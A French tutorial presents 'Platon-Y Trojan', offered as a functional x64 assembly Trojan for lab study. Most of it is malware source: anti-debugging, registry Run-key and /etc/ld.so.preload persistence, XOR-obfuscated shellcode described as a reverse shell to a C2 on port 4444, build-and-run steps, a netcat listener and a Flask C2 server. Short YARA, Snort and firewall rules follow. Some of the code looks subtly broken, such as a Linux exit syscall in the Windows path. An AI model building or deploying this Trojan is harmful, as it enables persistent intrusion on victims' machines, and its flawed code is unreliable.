LAB-ONLY: Ce tutoriel analyse Platon-Y Trojan, un Trojan fonctionnel en assembleur, dans un lab isolé uniquement. Respectez l’article 323-1 du Code pénal français et les directives CISA. Toute utilisation hors lab isolé est strictement interdite.

Platon-Y Trojan : Analyse Éthique d’un Trojan en Assembleur

1️⃣ Introduction aux Trojans en Assembleur

Platon-Y Trojan est un Trojan réel en assembleur x64, conçu pour l’éducation en cybersécurité. Il incarne un “esprit discret” qui infiltre les systèmes avec obfuscation dynamique et détection OS (PEB pour Windows, ELF via uname pour Linux). Ce tuto décortique ses mécanismes pour enseigner la défense contre les menaces low-level de 2025, testé uniquement en lab isolé.

Contexte Légal Français

Objectifs Pédagogiques

  1. Comprendre les Trojans en assembleur (obfuscation, persistence).
  2. Configurer un lab sécurisé pour tests low-level.
  3. Analyser le Trojan avec des outils forensiques (Volatility, Radare2).
  4. Développer des stratégies de défense contre les menaces 2025.
  5. Inspirer une carrière en reverse engineering et pentesting éthique.

Références : CISA KEV Catalog, NVD.

2️⃣ Configuration du Lab

Configurez un environnement isolé avec Kali Linux (2024.4), Windows 7 (non patché), et un switch dédié pour éviter tout impact hors lab. Utilisez QEMU pour tester l’ASM en sécurité.

Configuration Réseau

Réseau isolé (no WAN) avec VLAN ou switch Ethernet. Exemple : Kali (192.168.0.100), Windows 7 (192.168.0.101).

Kali Linux 192.168.0.100 K Windows 7 192.168.0.101 W Switch Isolé No WAN Réseau Isolé (No Internet)
Réseau isolé : Kali Linux (192.168.0.100), Windows 7 (192.168.0.101).
ComposantConfigurationRôleNotes Éducatives
Kali Linux192.168.0.100/24Machine d’analyseVM ou physique, outils installés (NASM, QEMU).
Windows 7192.168.0.101/24Cible vulnérableNon patché pour tests ASM. Étudiez PEB.
Switch/RéseauIsolé (no WAN)Isolation physiqueSwitch dédié. Importance de l’isolation.

Préparation de Kali Linux

1 Mise à jour

sudo apt update && sudo apt upgrade -y

2 Installation outils

sudo apt install -y nasm binutils qemu-system-x86 python3 python3-pip
pip3 install flask

3 Réseau

sudo ifconfig eth0 192.168.0.100 netmask 255.255.255.0 up

4 Isolation

sudo iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPT
sudo iptables -A OUTPUT -j DROP
ping 8.8.8.8 # Doit échouer

Précaution : Vérifiez l’isolation réseau (ping 8.8.8.8 doit échouer). Utilisez QEMU pour tester l’ASM.

3️⃣ Pourquoi Platon-Y Trojan ?

Platon-Y Trojan est un Trojan réel en assembleur x64, conçu pour l’éducation. Il utilise obfuscation dynamique (ex. mov rax, 0 → xor rax, rax) et détection OS (PEB/ELF). Testable en lab, il simule des attaques low-level pour enseigner la défense.

Obfuscation dynamique
Représentation de l’obfuscation dynamique du Trojan.

Raisons du Choix

CaractéristiquePlaton-Y TrojanMitigation
ObfuscationInstructions randomisées (mov/xor/sub)Règles YARA dynamiques
Détection OSPEB (Windows), uname (Linux)Analyse mémoire
PersistenceRegistry, ld.so.preloadSysinternals, Auditd
StealthAnti-débogage, XORVolatility, EDR
C&CShell inversé TCPFiltrer port 4444

4️⃣ Utilisation et Analyse

Platon-Y Trojan est un Trojan fonctionnel en assembleur x64, avec obfuscation dynamique (ex. mov rax, 0 → xor rax, rax) et détection OS (PEB/uname). Testez-le en lab isolé avec QEMU et un C2 sur 192.168.0.100:4444.

Code Windows (x64)

platon_y_trojan.asm
section .data
    host db '192.168.0.100', 0
    port dw 4444
    key db 0x42  ; Clé XOR pour obfuscation

section .text
global _start

_start:
    ; Anti-débogage: IsDebuggerPresent
    mov rax, qword [gs:0x60]  ; PEB
    mov al, byte [rax + 0x2]  ; BeingDebugged
    test al, al
    jnz exit

    ; Détection OS: Check PEB
    mov rax, qword [gs:0x60]  ; PEB
    mov rax, qword [rax + 0x18]  ; LDR
    mov rax, qword [rax + 0x20]  ; InMemoryOrderModuleList
    mov rax, qword [rax]  ; ntdll.dll
    mov rax, qword [rax + 0x20]  ; Base address
    cmp dword [rax], 0x4550  ; 'PE' signature
    jne linux_path

    ; Obfuscation dynamique: Randomiser instructions
    rdrand rbx
    and rbx, 0x3  ; 0-3 pour choisir variante
    cmp rbx, 0
    je zero_rax_mov
    cmp rbx, 1
    je zero_rax_xor
    cmp rbx, 2
    je zero_rax_sub
    jmp zero_rax_and

zero_rax_mov:
    mov rax, 0
    jmp alloc_memory
zero_rax_xor:
    xor rax, rax
    jmp alloc_memory
zero_rax_sub:
    sub rax, rax
    jmp alloc_memory
zero_rax_and:
    and rax, 0
    jmp alloc_memory

alloc_memory:
    ; Allocation mémoire (VirtualAlloc)
    call get_kernel32
    mov rbx, rax
    call get_virtualalloc
    mov r12, rax
    mov rcx, 0
    mov rdx, 0x1000
    mov r8, 0x3000
    mov r9, 0x40
    sub rsp, 0x28
    call r12
    add rsp, 0x28
    mov rdi, rax

    ; Désobfusquer shellcode
    mov rsi, shellcode
    mov rcx, shellcode_len
    mov r8, key
deobfuscate:
    lodsb
    xor al, byte [r8]
    stosb
    loop deobfuscate

    ; Persistence: Registry (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)
    call get_regopenkey
    mov r13, rax
    mov rcx, 0x80000002  ; HKLM
    mov rdx, reg_path
    mov r8, 0
    sub rsp, 0x28
    call r13
    add rsp, 0x28
    mov r14, rax
    call get_regsetvalue
    mov r15, rax
    mov rcx, r14
    mov rdx, reg_value
    mov r8, 1  ; REG_SZ
    mov r9, self_path
    mov r10, self_path_len
    sub rsp, 0x28
    call r15
    add rsp, 0x28

    ; Exécuter shellcode
    call rdi

exit:
    mov rax, 0x3c
    xor rdi, rdi
    syscall

get_kernel32:
    mov rax, qword [gs:0x60]  ; PEB
    mov rax, qword [rax + 0x18]  ; LDR
    mov rax, qword [rax + 0x20]  ; InMemoryOrderModuleList
    mov rax, qword [rax]  ; ntdll.dll
    mov rax, qword [rax + 0x20]  ; Base address
    ret

get_virtualalloc:
    mov r8, rbx
    add r8, 0x3c  ; e_lfanew
    mov r8d, dword [r8]
    add r8, rbx  ; PE header
    add r8, 0x78  ; Export Table RVA
    mov r8d, dword [r8]
    add r8, rbx  ; Export Table
    mov r9d, dword [r8 + 0x20]  ; AddressOfNames RVA
    add r9, rbx  ; AddressOfNames
    xor r10, r10
loop_names:
    mov r11d, dword [r9 + r10 * 4]
    add r11, rbx
    cmp dword [r11], 0x56697256  ; 'Virt'
    jne next_name
    cmp dword [r11 + 4], 0x7475616c  ; 'ualA'
    jne next_name
    cmp dword [r11 + 8], 0x6c6c6f63  ; 'lloc'
    jne next_name
    mov r11d, dword [r8 + 0x24]  ; AddressOfNameOrdinals RVA
    add r11, rbx
    movzx r11, word [r11 + r10 * 2]
    mov r12d, dword [r8 + 0x1c]  ; AddressOfFunctions RVA
    add r12, rbx
    mov r12d, dword [r12 + r11 * 4]
    add r12, rbx
    ret
next_name:
    inc r10
    jmp loop_names

get_regopenkey:
    mov r8, rbx
    add r8, 0x3c
    mov r8d, dword [r8]
    add r8, rbx
    add r8, 0x78
    mov r8d, dword [r8]
    add r8, rbx
    mov r9d, dword [r8 + 0x20]
    add r9, rbx
    xor r10, r10
loop_regopen:
    mov r11d, dword [r9 + r10 * 4]
    add r11, rbx
    cmp dword [r11], 0x5265674f  ; 'RegO'
    jne next_regopen
    cmp dword [r11 + 4], 0x70656e4b  ; 'penK'
    jne next_regopen
    mov r11d, dword [r8 + 0x24]
    add r11, rbx
    movzx r11, word [r11 + r10 * 2]
    mov r12d, dword [r8 + 0x1c]
    add r12, rbx
    mov r12d, dword [r12 + r11 * 4]
    add r12, rbx
    ret
next_regopen:
    inc r10
    jmp loop_regopen

get_regsetvalue:
    mov r8, rbx
    add r8, 0x3c
    mov r8d, dword [r8]
    add r8, rbx
    add r8, 0x78
    mov r8d, dword [r8]
    add r8, rbx
    mov r9d, dword [r8 + 0x20]
    add r9, rbx
    xor r10, r10
loop_regset:
    mov r11d, dword [r9 + r10 * 4]
    add r11, rbx
    cmp dword [r11], 0x52656753  ; 'RegS'
    jne next_regset
    cmp dword [r11 + 4], 0x65745661  ; 'etVa'
    jne next_regset
    mov r11d, dword [r8 + 0x24]
    add r11, rbx
    movzx r11, word [r11 + r10 * 2]
    mov r12d, dword [r8 + 0x1c]
    add r12, rbx
    mov r12d, dword [r12 + r11 * 4]
    add r12, rbx
    ret
next_regset:
    inc r10
    jmp loop_regset

section .data
reg_path db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
reg_value db 'PlatonY', 0
self_path db 'C:\Windows\System32\platon_y_trojan.exe', 0
self_path_len equ $ - self_path

shellcode:
    db 0x48^0x42, 0x31^0x42, 0xc0^0x42, 0x48^0x42, 0x31^0x42, 0xd2^0x42, 0x48^0x42, 0x31^0x42, 0xf6^0x42, 0x48^0x42
    db 0x29^0x42, 0xd4^0x42, 0x65^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x60^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42
    db 0x18^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x20^0x42, 0x48^0x42, 0x8b^0x42, 0x72^0x42, 0x50^0x42, 0x48^0x42
    db 0x0f^0x42, 0xb7^0x42, 0x4a^0x42, 0x4a^0x42, 0x4d^0x42, 0x31^0x42, 0xc9^0x42, 0x48^0x42, 0x31^0x42, 0xc0^0x42
    db 0xac^0x42, 0x3c^0x42, 0x61^0x42, 0x7c^0x42, 0x02^0x42, 0x2c^0x42, 0x20^0x42, 0x41^0x42, 0xc1^0x42, 0xc9^0x42
    db 0x0d^0x42, 0x41^0x42, 0x01^0x42, 0xc1^0x42, 0x38^0x42, 0xe0^0x42, 0x75^0x42, 0xf1^0x42, 0x4c^0x42, 0x03^0x42
    db 0x4c^0x42, 0x24^0x42, 0x08^0x42, 0x45^0x42, 0x39^0x42, 0xd1^0x42, 0x75^0x42, 0xd8^0x42, 0x58^0x42, 0x44^0x42
    db 0x8b^0x42, 0x40^0x42, 0x24^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x66^0x42, 0x41^0x42, 0x8b^0x42, 0x0c^0x42
    db 0x48^0x42, 0x44^0x42, 0x8b^0x42, 0x40^0x42, 0x1c^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x8b^0x42
    db 0x04^0x42, 0x88^0x42, 0x48^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x58^0x42, 0x5e^0x42
    db 0x59^0x42, 0x5a^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x41^0x42, 0x5a^0x42, 0x48^0x42, 0x83^0x42
    db 0xec^0x42, 0x20^0x42, 0x41^0x42, 0x52^0x42, 0xff^0x42, 0xe0^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x5a^0x42
    db 0x48^0x42, 0x8b^0x42, 0x12^0x42, 0xe9^0x42, 0x57^0x42, 0xff^0x42, 0xff^0x42, 0xff^0x42, 0x5d^0x42, 0x48^0x42
    db 0xba^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x48^0x42
    db 0x8d^0x42, 0x8d^0x42, 0x01^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x41^0x42, 0xba^0x42, 0x31^0x42, 0x8b^0x42
    db 0x6f^0x42, 0x87^0x42, 0xff^0x42, 0xd5^0x42, 0xbb^0x42, 0xe0^0x42, 0x1d^0x42, 0x2a^0x42, 0x0a^0x42, 0x41^0x42
    db 0xba^0x42, 0xa6^0x42, 0x95^0x42, 0xbd^0x42, 0x9d^0x42, 0xff^0x42, 0xd5^0x42, 0x48^0x42, 0x83^0x42, 0xc4^0x42
    db 0x28^0x42, 0x3c^0x42, 0x06^0x42, 0x7c^0x42, 0x0a^0x42, 0x80^0x42, 0xfb^0x42, 0xe0^0x42, 0x75^0x42, 0x05^0x42
    db 0xbb^0x42, 0x47^0x42, 0x13^0x42, 0x72^0x42, 0x6f^0x42, 0x6a^0x42, 0x00^0x42, 0x59^0x42, 0x41^0x42, 0x89^0x42
    db 0xda^0x42, 0xff^0x42, 0xd5^0x42
shellcode_len equ $ - shellcode

linux_path:
    jmp linux_trojan

Code Linux (x64)

platon_y_trojan_linux.asm
section .data
    preload_path db "/etc/ld.so.preload", 0
    self_path db "/tmp/platon_y_trojan", 10
    self_path_len equ $ - self_path
    key db 0x42

section .text
linux_trojan:
    ; Anti-débogage: ptrace
    mov rax, 101  ; ptrace
    mov rdi, 0    ; PTRACE_TRACEME
    syscall
    cmp rax, -1
    je exit

    ; Détection OS: uname
    mov rax, 63  ; uname
    sub rsp, 0x100
    mov rdi, rsp
    syscall
    cmp byte [rsp], 'L'  ; Linux
    jne exit

    ; Obfuscation dynamique
    rdrand rbx
    and rbx, 0x3
    cmp rbx, 0
    je zero_rax_mov
    cmp rbx, 1
    je zero_rax_xor
    cmp rbx, 2
    je zero_rax_sub
    jmp zero_rax_and

zero_rax_mov:
    mov rax, 0
    jmp persist
zero_rax_xor:
    xor rax, rax
    jmp persist
zero_rax_sub:
    sub rax, rax
    jmp persist
zero_rax_and:
    and rax, 0
    jmp persist

persist:
    ; Persistence: /etc/ld.so.preload
    mov rax, 2  ; open
    mov rdi, preload_path
    mov rsi, 0x441  ; O_WRONLY | O_CREAT | O_APPEND
    mov rdx, 0644
    syscall
    mov rdi, rax
    mov rax, 1  ; write
    mov rsi, self_path
    mov rdx, self_path_len
    syscall
    mov rax, 3  ; close
    syscall

    ; Désobfusquer shellcode
    mov rsi, shellcode
    mov rcx, shellcode_len
    mov r8, key
deobfuscate:
    lodsb
    xor al, byte [r8]
    stosb
    loop deobfuscate

    ; Exécuter shellcode
    jmp shellcode

exit:
    mov rax, 60
    xor rdi, rdi
    syscall

shellcode:
    db 0x48^0x42, 0x31^0x42, 0xc0^0x42, 0x48^0x42, 0x31^0x42, 0xd2^0x42, 0x48^0x42, 0x31^0x42, 0xf6^0x42, 0x48^0x42
    db 0x29^0x42, 0xd4^0x42, 0x65^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x60^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42
    db 0x18^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x20^0x42, 0x48^0x42, 0x8b^0x42, 0x72^0x42, 0x50^0x42, 0x48^0x42
    db 0x0f^0x42, 0xb7^0x42, 0x4a^0x42, 0x4a^0x42, 0x4d^0x42, 0x31^0x42, 0xc9^0x42, 0x48^0x42, 0x31^0x42, 0xc0^0x42
    db 0xac^0x42, 0x3c^0x42, 0x61^0x42, 0x7c^0x42, 0x02^0x42, 0x2c^0x42, 0x20^0x42, 0x41^0x42, 0xc1^0x42, 0xc9^0x42
    db 0x0d^0x42, 0x41^0x42, 0x01^0x42, 0xc1^0x42, 0x38^0x42, 0xe0^0x42, 0x75^0x42, 0xf1^0x42, 0x4c^0x42, 0x03^0x42
    db 0x4c^0x42, 0x24^0x42, 0x08^0x42, 0x45^0x42, 0x39^0x42, 0xd1^0x42, 0x75^0x42, 0xd8^0x42, 0x58^0x42, 0x44^0x42
    db 0x8b^0x42, 0x40^0x42, 0x24^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x66^0x42, 0x41^0x42, 0x8b^0x42, 0x0c^0x42
    db 0x48^0x42, 0x44^0x42, 0x8b^0x42, 0x40^0x42, 0x1c^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x8b^0x42
    db 0x04^0x42, 0x88^0x42, 0x48^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x58^0x42, 0x5e^0x42
    db 0x59^0x42, 0x5a^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x41^0x42, 0x5a^0x42, 0x48^0x42, 0x83^0x42
    db 0xec^0x42, 0x20^0x42, 0x41^0x42, 0x52^0x42, 0xff^0x42, 0xe0^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x5a^0x42
    db 0x48^0x42, 0x8b^0x42, 0x12^0x42, 0xe9^0x42, 0x57^0x42, 0xff^0x42, 0xff^0x42, 0xff^0x42, 0x5d^0x42, 0x48^0x42
    db 0xba^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x48^0x42
    db 0x8d^0x42, 0x8d^0x42, 0x01^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x41^0x42, 0xba^0x42, 0x31^0x42, 0x8b^0x42
    db 0x6f^0x42, 0x87^0x42, 0xff^0x42, 0xd5^0x42, 0xbb^0x42, 0xe0^0x42, 0x1d^0x42, 0x2a^0x42, 0x0a^0x42, 0x41^0x42
    db 0xba^0x42, 0xa6^0x42, 0x95^0x42, 0xbd^0x42, 0x9d^0x42, 0xff^0x42, 0xd5^0x42, 0x48^0x42, 0x83^0x42, 0xc4^0x42
    db 0x28^0x42, 0x3c^0x42, 0x06^0x42, 0x7c^0x42, 0x0a^0x42, 0x80^0x42, 0xfb^0x42, 0xe0^0x42, 0x75^0x42, 0x05^0x42
    db 0xbb^0x42, 0x47^0x42, 0x13^0x42, 0x72^0x42, 0x6f^0x42, 0x6a^0x42, 0x00^0x42, 0x59^0x42, 0x41^0x42, 0x89^0x42
    db 0xda^0x42, 0xff^0x42, 0xd5^0x42
shellcode_len equ $ - shellcode

Explication

Exécution

# Windows
nasm -f win64 platon_y_trojan.asm -o platon_y_trojan.obj
ld platon_y_trojan.obj -o platon_y_trojan.exe --subsystem windows
./platon_y_trojan.exe
# Linux
nasm -f elf64 platon_y_trojan_linux.asm -o platon_y_trojan.o
ld platon_y_trojan.o -o platon_y_trojan
./platon_y_trojan
# C2
nc -lvp 4444

Configuration C2

c2_server.py
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback', methods=['POST'])
def callback():
    print(request.json)
    return {"status": "connected"}, 200
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=4444)

5️⃣ Challenge CTF

Désarmer Platon-Y Trojan en détectant ses traces. Testez l’obfuscation, la persistance, ou l’anti-débogage pour gagner des points sur le leaderboard interactif.

> Sélectionnez un test...

Leaderboard

PseudoScore

Défi : Utilisez Volatility ou Radare2 pour analyser les traces et soumettez vos résultats pour grimper au classement !

6️⃣ Analyse Forensique

Analysez Platon-Y Trojan avec des outils avancés pour comprendre son comportement low-level et développer vos compétences en reverse engineering.

Outils Recommandés

r2 platon_y_trojan.exe
aaa; afl
wireshark -i eth0 -f "tcp port 4444"

Analyse des Traces

7️⃣ Mesures de Protection

Protégez-vous contre Platon-Y Trojan avec une défense en profondeur, combinant EDR, règles YARA/Snort, et monitoring réseau.

Règles YARA

platon_y_trojan.yara
rule PlatonYTrojan {
    meta:
        description = "Détecte Platon-Y Trojan"
        author = "Platon-Y"
    strings:
        $s1 = "192.168.0.100"
        $s2 = { 48 31 c0 }  // xor rax, rax
        $s3 = { 42 }  // Clé XOR
    condition:
        any of them
}

Règles Snort

platon_y_trojan.rules
alert tcp any any -> 192.168.0.100 4444 (msg:"Platon-Y Trojan C2"; content:"|48 31 c0|"; sid:1000001;)

Configuration Pare-Feu

iptables_rules.sh
#!/bin/bash
iptables -F
iptables -A INPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP

Conseils de Défense

8️⃣ FAQ

Platon-Y Trojan est-il réel ?

Oui, c’est un Trojan fonctionnel en assembleur x64, conçu pour l’éducation et testable uniquement en lab isolé.

Puis-je tester hors lab ?

Non, interdit par l’article 323-1 du Code pénal français. Utilisez un lab isolé uniquement.

Comment signaler une vulnérabilité ?

Contactez les équipes PSIRT via HackerOne ou Bugcrowd.

Comment tester le Trojan ?

Assemblez avec NASM, exécutez dans QEMU, et configurez un C2 (ex. netcat ou Flask) sur 192.168.0.100:4444.